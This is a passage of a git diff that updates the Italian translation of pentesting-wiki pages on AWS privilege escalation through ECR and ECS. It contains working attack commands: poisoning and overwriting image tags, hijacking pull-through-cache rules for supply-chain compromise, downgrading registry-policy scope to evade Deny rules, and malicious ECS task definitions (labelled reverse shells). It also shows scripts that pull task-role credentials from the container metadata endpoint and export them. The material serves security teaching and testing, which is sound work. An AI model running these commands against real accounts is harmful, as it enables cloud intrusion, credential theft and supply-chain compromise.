(`LegitStateMachine`) è usata per processare input utente sensibili. - Chiama una o più funzioni Lambda come `LegitBusinessLogic`. --- -**Impatto potenziale**: -- Esfiltrazione silenziosa di dati sensibili inclusi secrets, credenziali, API keys e PII. -- Nessun errore visibile o fallimento nell'esecuzione del flusso di lavoro. -- Difficile da rilevare senza audit del codice Lambda o le tracce di esecuzione. -- Permette persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL. +**Impatto Potenziale**: +- Exfiltration silenziosa di dati sensibili inclusi secrets, credentials, API keys e PII. +- Nessun errore visibile o malfunzionamento nell'esecuzione del workflow. +- Difficile da rilevare senza audit del codice Lambda o delle execution traces. +- Consente persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md index 6f5879e8e..e86d4f220 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -6,7 +6,7 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -Un attaccante con i **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può effettuare il login a ECR e scaricare immagini. +Un attacker con i permessi **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può effettuare il login su ECR e scaricare immagini. Per maggiori informazioni su come scaricare le immagini: @@ -14,13 +14,23 @@ Per maggiori informazioni su come scaricare le immagini: ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md {{#endref}} -**Impatto potenziale:** privesc indiretto dovuto all'intercettazione di informazioni sensibili nel traffico. +**Impatto potenziale:** privesc indiretto intercettando informazioni sensibili nel traffico. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -Un attaccante con tutte queste autorizzazioni **può effettuare il login a ECR e caricare immagini**. Questo può essere utile per escalare privilegi verso altri ambienti in cui tali immagini vengono utilizzate. +Un attacker con tutti questi permessi **può effettuare il login su ECR e caricare immagini**. Questo può essere utile per escalation di privilegi verso altri ambienti dove quelle immagini vengono utilizzate. -Per imparare come caricare una nuova immagine o aggiornare una esistente, consulta: +Inoltre, `ecr:PutImage` può essere usato per **sovrascrivere un tag esistente** (per esempio `stable` / `prod`) caricando un manifest di immagine diverso sotto quel tag, di fatto dirottando i deploy basati sui tag. + +Questo è particolarmente impattante quando i consumatori downstream effettuano deploy per tag e si **auto-refresh** al cambiamento del tag, come: + +- **Lambda container image functions** (`PackageType=Image`) che referenziano `.../repo:stable` +- ECS services / Kubernetes workloads che effettuano il pull di `repo:prod` (senza pinning del digest) +- Qualsiasi CI/CD che ridistribuisce a seguito di eventi ECR + +In questi casi, la sovrascrittura di un tag può portare a **remote code execution** nell'ambiente del consumer e ad escalation di privilegi verso il ruolo IAM usato da quel workload (per esempio, un Lambda execution role con `secretsmanager:GetSecretValue`). + +Per imparare come caricare una nuova immagine/aggiornare una esistente, consulta: {{#ref}} ../../aws-services/aws-eks-enum.md @@ -32,7 +42,7 @@ Come la sezione precedente, ma per repository pubblici. ### `ecr:SetRepositoryPolicy` -Un attaccante con questa autorizzazione potrebbe **modificare** la **policy del repository** per concedersi (o anche a chiunque) **accesso in lettura/scrittura**.\ +Un attacker con questo permesso potrebbe **modificare** la **repository** **policy** per concedersi (o concedere a chiunque) **accesso in lettura/scrittura**.\ Per esempio, in questo esempio l'accesso in lettura è concesso a tutti. ```bash aws ecr set-repository-policy \ @@ -59,8 +69,8 @@ Contenuto di `my-policy.json`: ``` ### `ecr-public:SetRepositoryPolicy` -Come nella sezione precedente, ma per repository pubbliche.\ -Un attacker può **modificare la repository policy** di un ECR Public repository per concedere accesso pubblico non autorizzato o per escalare i propri privilegi. +Come la sezione precedente, ma per i repository pubblici.\ +Un attaccante può **modificare la policy del repository** di un repository ECR Public per concedere accesso pubblico non autorizzato o per elevare i propri privilegi. ```bash # Create a JSON file with the malicious public repository policy echo '{ @@ -87,11 +97,11 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**Impatto potenziale**: Accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o delete images. +**Impatto potenziale**: accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o delete images. ### `ecr:PutRegistryPolicy` -Un attacker con questo permesso potrebbe **modificare** la **registry policy** per concedere a se stesso, al suo account (o anche a chiunque) **read/write access**. +Un attaccante con questa autorizzazione potrebbe **modificare** la **registry policy** per concedere a sé stesso, al suo account (o anche a chiunque) **read/write access**. ```bash aws ecr set-repository-policy \ --repository-name \ @@ -99,12 +109,12 @@ aws ecr set-repository-policy \ ``` ### ecr:CreatePullThroughCacheRule -Abusa delle regole ECR Pull Through Cache (PTC) per mappare un upstream namespace controllato dall'attacker su un prefisso ECR privato attendibile. Questo fa sì che i workload che effettuano pull dall'ECR privato ricevano in modo trasparente immagini dell'attacker senza alcun push verso l'ECR privato. +Abusa delle regole ECR Pull Through Cache (PTC) per mappare uno namespace upstream controllato dall'attaccante a un prefisso privato ECR di fiducia. Questo fa sì che i workload che effettuano il pull dal ECR privato ricevano in modo trasparente immagini dell'attaccante senza alcun push sul ECR privato. -- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si usa ECR Public come upstream: ecr-public:* per creare/pushare nel repo pubblico. +- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si utilizza ECR Public come upstream: ecr-public:* per creare/eseguire il push nel repository pubblico. - Upstream testato: public.ecr.aws -Passaggi (esempio): +Steps (example): 1. Prepare attacker image in ECR Public # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 @@ -120,19 +130,19 @@ docker login .dkr.ecr.us-east-2.amazonaws.com docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test -Impatto potenziale: compromissione della supply-chain mediante il dirottamento dei nomi delle immagini interne sotto il prefisso scelto. Qualsiasi workload che effettua pull di immagini dall'ECR privato usando quel prefisso riceverà contenuto controllato dall'attacker. +Potential Impact: Compromissione della catena di fornitura intercettando nomi di immagini interni sotto il prefisso scelto. Qualsiasi workload che esegue il pull di immagini dal ECR privato usando quel prefisso riceverà contenuto controllato dall'attaccante. ### `ecr:PutImageTagMutability` -Abusa di questa autorizzazione per rendere mutabile un repository con tag immutabili e sovrascrivere tag affidabili (es. latest, stable, prod) con contenuto controllato dall'attacker. +Abusa di questo permesso per cambiare un repository con tag immutabili in mutabile e sovrascrivere tag affidabili (es., latest, stable, prod) con contenuto controllato dall'attaccante. - Permessi richiesti: `ecr:PutImageTagMutability` più capacità di push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). -- Impatto: compromissione della supply-chain sostituendo silenziosamente tag immutabili senza cambiare i nomi dei tag. +- Impatto: Compromissione della catena di fornitura sostituendo silenziosamente tag immutabili senza cambiare i nomi dei tag. -Passaggi (esempio): +Steps (example):
-Avvelena un tag immutabile cambiando la mutabilità +Avvelena un tag immutabile alternando la mutabilità ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM @@ -152,14 +162,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
-#### Global registry hijack via ROOT Pull-Through Cache rule +#### Hijack globale del registro tramite la regola ROOT Pull-Through Cache -Crea una regola Pull-Through Cache (PTC) usando il valore speciale `ecrRepositoryPrefix=ROOT` per mappare la radice del registro ECR privato a un registro pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registro privato sarà servito in modo trasparente dall'upstream, abilitando supply-chain hijacking senza dover pushare su ECR privato. +Crea una regola Pull-Through Cache (PTC) usando il speciale `ecrRepositoryPrefix=ROOT` per mappare la radice del registro ECR privato a un registro pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registro privato verrà servito in modo trasparente dall'upstream, permettendo supply-chain hijacking senza effettuare push su ECR privato. -- Permessi richiesti: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. -- Impatto: i pull a `.dkr.ecr..amazonaws.com/:` avranno successo e creeranno automaticamente repository privati derivati dall'upstream. +- Required perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- Impatto: i pull a `.dkr.ecr..amazonaws.com/:` riescono e creano automaticamente repository privati originati dall'upstream. -> Nota: Per le regole `ROOT`, omettere `--upstream-repository-prefix`. Specificarlo causerà un errore di validazione. +> Nota: Per le regole `ROOT`, ometti `--upstream-repository-prefix`. Fornirlo causerà un errore di convalida.
Demo (us-east-1, upstream public.ecr.aws) @@ -191,17 +201,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al ```
-### `ecr:PutAccountSetting` (Abbassare `REGISTRY_POLICY_SCOPE` per eludere i Deny della registry policy) +### `ecr:PutAccountSetting` (Degradare `REGISTRY_POLICY_SCOPE` per aggirare i Deny della policy del registro) -Abusa di `ecr:PutAccountSetting` per cambiare lo scope della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con Deny blocca azioni come `CreatePullThroughCacheRule`, il downgrade a `V1` rimuove quell'applicazione e permette agli Allow della identity-policy di avere effetto. +Usa `ecr:PutAccountSetting` per cambiare l'ambito della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con Deny blocca azioni come `CreatePullThroughCacheRule`, degradare a `V1` rimuove quella restrizione, permettendo agli Allow delle identity policy di avere effetto. -- Permessi richiesti: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. -- Impatto: Possibilità di eseguire azioni ECR precedentemente bloccate da un Deny della registry policy (es. creare regole PTC) impostando temporaneamente lo scope su `V1`. +- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., creare regole PTC) by temporarily setting scope to `V1`. -Passi (esempio): +Steps (example):
-Eludere il Deny della registry policy su CreatePullThroughCacheRule passando a V1 +Aggirare il Deny della registry policy su CreatePullThroughCacheRule cambiando a V1 ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md index a313ea4f8..311ad8d3f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -12,7 +12,7 @@ Maggiori **informazioni su ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker che abusa dei permessi `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadati e **eseguirla**. +Un attacker che abusa del permesso `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **eseguirla**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -75,18 +75,18 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Impatto potenziale:** Direct privesc su un ruolo ECS diverso. +**Impatto potenziale:** Direct privesc to a different ECS role. ### `iam:PassRole`,`ecs:RunTask` -Un attacker che ha i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo task ECS con valori modificati per **execution role**, **task role** e il **command** del container. Il comando CLI `ecs run-task` contiene il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza toccare la task definition. +Un attacker che ha i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo ECS task con i valori di **execution role**, **task role** e **command** del container modificati. Il comando CLI `ecs run-task` include il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza modificare la task definition. -I ruoli IAM specificati per `taskRoleArn` e `executionRoleArn` devono consentire di essere assunti da `ecs-tasks.amazonaws.com` nella relativa trust policy. +I ruoli IAM specificati per `taskRoleArn` e `executionRoleArn` devono avere una trust policy che permette a `ecs-tasks.amazonaws.com` di assumerli. -Inoltre, l'attaccante deve conoscere: -- nome del cluster ECS -- sottorete VPC -- security group (Se non è specificato verrà usato quello di default) -- Nome della task definition e revisione +Inoltre, l'attacker deve conoscere: +- Nome del cluster ECS +- VPC Subnet +- Security group (Se non viene specificato alcun security group verrà utilizzato quello di default) +- Nome della Task Definition e la revisione - Nome del Container ```bash aws ecs run-task \ @@ -105,9 +105,9 @@ aws ecs run-task \ ] }' ``` -Nel frammento di codice sopra un attaccante sovrascrive solo il valore di `taskRoleArn`. Tuttavia, l'attaccante deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco avvenga. +Nel frammento di codice sopra un attaccante sovrascrive solo il valore `taskRoleArn`. Tuttavia, l'attaccante deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella definizione del task affinché l'attacco avvenga. -Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per scaricare un'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) allora l'attaccante può specificare lo stesso ruolo IAM sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`. +Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per effettuare il pull dell'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), allora l'attaccante può specificare lo stesso ruolo IAM sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`. ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -125,8 +125,8 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Proprio come nell'esempio precedente, un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **eseguirla**.\ -Tuttavia, in questo caso, è necessario che sia disponibile una container instance per eseguire la malicious task definition. +Proprio come nell'esempio precedente, un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **avviarla**.\ +Tuttavia, in questo caso è necessario disporre di un container instance su cui eseguire la task definition malevola. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Impatto potenziale:** Privesc diretto su qualsiasi ruolo ECS. +**Impatto potenziale:** privesc diretto a qualsiasi ECS role. -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Proprio come nell'esempio precedente, un attaccante che abusi delle autorizzazioni **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le metadata credentials e **eseguirla creando un nuovo service con almeno 1 task in esecuzione.** +Come nel precedente esempio, un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **avviarla creando un nuovo service con almeno 1 task in esecuzione.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -169,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS. +**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un contenitore con un ruolo arbitrario usando qualcosa del genere: +In pratica, con soli quei permessi è possibile usare gli overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario, ad esempio: ```bash aws ecs run-task \ --task-definition "" \ @@ -181,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Potenziale Impatto:** Privesc diretto a qualsiasi ECS role. +**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\ -Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche senza ruolo, potresti **eseguire un container privilegiato per effettuare escape** verso il nodo e **rubare l'EC2 IAM role** e i **roles degli altri ECS containers** in esecuzione sul nodo.\ -Potresti persino **forzare l'esecuzione di altri task all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come descritto nella [**sezione Privesc to node**](aws-ecs-post-exploitation/README.md#privesc-to-node)). +È comunque interessante perché se puoi eseguire un container arbitrario, anche senza un ruolo, potresti **eseguire un container privilegiato per evadere** verso il nodo e **rubare il ruolo IAM di EC2** e i **ruoli degli altri container ECS** in esecuzione nel nodo.\ +Potresti persino **forzare altri task a essere eseguiti all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). > [!WARNING] -> Questo attacco è possibile solo se il **cluster ECS utilizza istanze EC2** e non Fargate. +> Questo attacco è possibile solo se il **cluster ECS usa istanze EC2** e non Fargate. ```bash printf '[ { @@ -233,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Un attaccante con i permessi **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (è necessario il permesso di describe perché è necessario eseguire `aws ecs execute-command`).\ -Tuttavia, per farlo, l'istanza del container deve avere in esecuzione l'**ExecuteCommand agent** (che per impostazione predefinita non lo è). +Un attaccante con i permessi **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **execute commands** all'interno di un container in esecuzione e exfiltrate the IAM role attached to it (è necessario il permesso describe perché serve per eseguire `aws ecs execute-command`).\ +Tuttavia, per farlo, l'istanza del container deve eseguire l'**ExecuteCommand agent** (che, di default, non lo fa). -Pertanto, l'attaccante potrebbe provare a: +Quindi, l'attaccante potrebbe provare a: - **Provare a eseguire un comando** in ogni container in esecuzione ```bash @@ -256,18 +256,34 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Se ha **`ecs:RunTask`**, eseguire un task con `aws ecs run-task --enable-execute-command [...]` -- Se ha **`ecs:StartTask`**, eseguire un task con `aws ecs start-task --enable-execute-command [...]` -- Se ha **`ecs:CreateService`**, creare un service con `aws ecs create-service --enable-execute-command [...]` -- Se ha **`ecs:UpdateService`**, aggiornare un service con `aws ecs update-service --enable-execute-command [...]` +Una volta ottenuta una shell all'interno del container, puoi tipicamente **estrarre le credenziali del ruolo del task** dall'endpoint delle credenziali del task e riutilizzarle al di fuori del container: +```sh +# Inside the container: +echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" +curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq -Puoi trovare **esempi di queste opzioni** nelle **sezioni precedenti di ECS privesc**. +# If you want to use them locally, print shell exports: +python3 - <<'PY' +import json, os, urllib.request +u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"] +d = json.load(urllib.request.urlopen(u, timeout=2)) +print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"]) +print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"]) +print("export AWS_SESSION_TOKEN=" + d["Token"]) +PY +``` +- Se ha **`ecs:RunTask`**, esegui un task con `aws ecs run-task --enable-execute-command [...]` +- Se ha **`ecs:StartTask`**, esegui un task con `aws ecs start-task --enable-execute-command [...]` +- Se ha **`ecs:CreateService`**, crea un service con `aws ecs create-service --enable-execute-command [...]` +- Se ha **`ecs:UpdateService`**, aggiorna un service con `aws ecs update-service --enable-execute-command [...]` -**Potential Impact:** Privesc a un ruolo diverso associato ai container. +Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni ECS privesc**. + +**Impatto potenziale:** Privesc a un ruolo diverso associato ai container. ### `ssm:StartSession` -Controlla nella **pagina ssm privesc** come puoi abusare di questa autorizzazione per **privesc a ECS**: +Controlla la **ssm privesc page** per vedere come puoi abusare di questa autorizzazione per **privesc to ECS**: {{#ref}} ../aws-ssm-privesc/README.md @@ -275,7 +291,7 @@ Controlla nella **pagina ssm privesc** come puoi abusare di questa autorizzazion ### `iam:PassRole`, `ec2:RunInstances` -Controlla nella **pagina ec2 privesc** come puoi abusare di queste autorizzazioni per **privesc a ECS**: +Controlla la **ec2 privesc page** per vedere come puoi abusare di queste autorizzazioni per **privesc to ECS**: {{#ref}} ../aws-ec2-privesc/README.md @@ -283,16 +299,51 @@ Controlla nella **pagina ec2 privesc** come puoi abusare di queste autorizzazion ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -Un attaccante con queste autorizzazioni potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguirci dei task. Questo potrebbe permettere all'attaccante di eseguire codice arbitrario nel contesto dei task ECS. +Un attacker con queste autorizzazioni può spesso **trasformare la "cluster membership" in un bypass del perimetro di sicurezza**: + +- Registrare un'**attacker-controlled EC2 instance** in un victim ECS cluster (diventando una container instance) +- Impostare custom **container instance attributes** per soddisfare le **placement constraints** +- Lasciare che ECS programmi i tasks su quell'host +- Rubare **task role credentials** (e qualsiasi secrets/dati all'interno del container) dal task in esecuzione sul tuo host + +Flusso di lavoro ad alto livello: + +1) Ottenere un EC2 instance identity document + signature da un EC2 instance che controlli nell'account target (per esempio via SSM/SSH): +```bash +curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json +curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig +``` +2) Registralo nel cluster di destinazione, impostando opzionalmente gli attributi per soddisfare i vincoli di posizionamento: +```bash +aws ecs register-container-instance \ +--cluster "$CLUSTER" \ +--instance-identity-document file://iidoc.json \ +--instance-identity-document-signature "$(cat iisig)" \ +--attributes name=labtarget,value=hijack +``` +3) Verificare che si sia unito: +```bash +aws ecs list-container-instances --cluster "$CLUSTER" +``` +4) Avviare una task / aggiornare un service in modo che qualcosa venga eseguito sull'instance, quindi raccogliere i task role creds dall'interno della task: +```bash +# On the container host: +docker ps +docker exec -it sh +curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" +``` +Note: + +- Registrare una container instance usando l'instance identity document/signature implica che si abbia accesso a un'istanza EC2 nell'account di destinazione (o che una sia stata compromessa). Per lo scenario cross-account "bring your own EC2", vedere la tecnica **ECS Anywhere** in questa pagina. +- I vincoli di placement si basano comunemente sugli attributi della container instance. Enumerali tramite `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, e `ecs:DescribeContainerInstances` per sapere quali attributi è necessario impostare. -- TODO: È possibile registrare un'istanza da un account AWS diverso in modo che i task vengano eseguiti su macchine controllate dall'attaccante?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: Testare questo -Un attaccante con le autorizzazioni `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario**. Questo permette all'attaccante di **eseguire codice arbitrario all'interno del servizio**. +Un attaccante con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario**. Questo permette all'attaccante di **eseguire codice arbitrario all'interno del servizio**. ```bash # Register a task definition with a reverse shell echo '{ @@ -318,9 +369,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, impattandone potenzialmente la funzionalità o esfiltrando dati sensibili. +**Potenziale impatto**: Eseguire codice arbitrario nel servizio interessato, con possibile compromissione della sua funzionalità o esfiltrazione di dati sensibili. -## References +## Riferimenti - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) @@ -332,11 +383,11 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) -Un attacker con i permessi per gestire ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. I tasks verranno quindi schedulati su EC2 instances controllate dall'attacker, permettendo accesso a livello OS per ispezionare i containers e rubare le task role credentials. +Un attaccante con permessi per gestire ECS capacity providers e aggiornare i servizi può creare un EC2 Auto Scaling Group sotto il suo controllo, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. Le task verranno quindi programmate su istanze EC2 controllate dall'attaccante, permettendo accesso a livello OS per ispezionare i container e rubare le credenziali del task role. Commands (us-east-1): -- Prereqs +- Prerequisiti @@ -364,13 +415,13 @@ Commands (us-east-1): -- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. +- Facoltativo: dal nodo EC2, eseguire docker exec nei container target e leggere http://169.254.170.2 per ottenere le credenziali del task role. -- Cleanup +- Pulizia -**Impatto potenziale:** Attacker-controlled EC2 nodes ricevono victim tasks, abilitando accesso a livello OS ai containers e il furto delle task IAM role credentials. +**Potenziale impatto:** I nodi EC2 controllati dall'attaccante ricevono le task della vittima, abilitando accesso a livello OS ai container e furto delle credenziali IAM del task role.
@@ -409,23 +460,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que ### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration -Abuse ECS Anywhere per registrare un attacker-controlled host come EXTERNAL container instance in un victim ECS cluster ed eseguire tasks su quell'host usando task ed execution roles privilegiati. Questo concede controllo a livello OS su dove i tasks vengono eseguiti (la tua macchina) e permette il furto di credenziali/dati dai tasks e dai volumi allegati senza toccare capacity providers o ASGs. +Abusa di ECS Anywhere per registrare un host controllato dall'attaccante come istanza container EXTERNAL in un cluster ECS vittima ed eseguire task su quell'host usando task ed execution role con privilegi. Questo concede controllo a livello OS sul luogo di esecuzione delle task (la tua macchina) e permette il furto di credenziali/dati dalle task e dai volumi montati senza toccare capacity providers o ASG. -- Required perms (example minimal): +- Permessi richiesti (esempio minimo): - ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation -- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) -- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (per l'instance role di ECS Anywhere e i task/execution role) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (se si usa awslogs) -- Impact: Run arbitrary containers with chosen 